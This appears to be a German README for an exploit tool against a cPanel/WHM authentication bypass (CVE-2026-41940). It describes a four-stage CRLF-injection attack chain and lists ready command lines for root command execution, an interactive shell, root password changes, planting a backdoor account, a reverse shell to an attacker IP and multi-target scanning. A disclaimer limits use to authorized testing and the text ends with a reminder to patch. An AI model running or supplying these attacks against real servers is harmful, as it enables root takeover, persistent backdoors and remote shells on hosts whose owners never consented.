CVE-2026-41940: cPanel/WHM Authentifizierungs-Bypass (Einzel- & Multi-Ziel)

Haftungsausschluss: Dieses Dokument und das zugehörige Skript (exploit.py) werden ausschließlich für Bildungszwecke, Sicherheitsforschung und autorisierte Penetrationstests bereitgestellt. Verwenden Sie diese Software nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.

Übersicht

exploit.py ist ein Skript, das eine Authentifizierungs-Bypass-Schwachstelle (CVE-2026-41940) in cPanel & WHM demonstriert. Die Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer, über einen CRLF-Injektionsfehler eine Root-Sitzung in den Daemon-Cache einzuschleusen, was letztendlich Root-Level-Zugriff auf WHM ohne gültige Anmeldeinformationen gewährt.

Schwachstellenanalyse & Exploit-Ablauf

Der Exploit nutzt eine CRLF-Injektionsschwachstelle (Carriage Return Line Feed) im Basic-Authentication-Handling-Mechanismus, kombiniert mit einem Fehler bei der Sitzungsweitergabe. Das Skript automatisiert den Angriff in vier Phasen:

1. Pre-Auth-Sitzungserstellung: Verbindet sich mit öffentlichen Login-Endpunkten (z. B. /login/ oder /cgi/login.cgi), um ein Basis-Sitzungscookie ohne Authentifizierung zu erhalten (whostmgrsession).
2. CRLF-Injektion: Sendet einen manipulierten Basic-Authentication-Header, der ein Base64-kodiertes Payload enthält, das Root-Sitzungsfelder direkt in den cpsrvd-Sitzungscache injiziert. Die Weiterleitungsantwort des Servers gibt das generierte Sicherheitstoken (cpsess) preis.
3. Sitzungsweitergabe: Das rohe Sitzungscookie wird an einen authentifizierten WHM-Endpunkt gesendet, wodurch do_token_denied ausgelöst wird, um die gefälschte Sitzung in den Daemon-Cache zu propagieren – sie wird zu einer gültigen authentifizierten Sitzung.
4. Verifizierung: Greift mithilfe der gefälschten Sitzung auf eingeschränkte WHM-API-Endpunkte zu (z. B. /json-api/version), um den Root-Level-Zugriff zu bestätigen.

Voraussetzungen

• Python 3.x
• requests-Bibliothek

pip install requests

Verwendung

python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]

Argumente

Zielauswahl

Netzwerk- & Kernoptionen

Exploit-Optionen (nach dem Bypass)

Ausgabeoptionen

Beispiele

# Check if target is vulnerable
python exploit.py --target https://target:2087 --check

# Dump server info (version, accounts, privileges)
python exploit.py --target https://target:2087 --dump

# Generate a one-click root login URL (paste in browser immediately)
python exploit.py --target https://target:2087 --session

# Execute a command
python exploit.py --target https://target:2087 --exec "id"

# Drop into an interactive WHM shell
python exploit.py --target https://target:2087 --shell

# Change root password
python exploit.py --target https://target:2087 --password 'NewP@ss!'

# Call WHM API directly
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1

# Create a backdoor cPanel account
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com

# Send reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444

# Override hostname (use when auto-discovery fails)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check

# Scan multiple targets (check-only mode)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20

# Save session to file
python exploit.py --target https://target:2087 --dump --output results.json

Interaktive Shell-Befehle

Wenn Sie --shell verwenden, stehen folgende Befehle zur Verfügung:

Erinnerung

Installieren Sie die neuesten cPanel/WHM-Sicherheitspatches umgehend.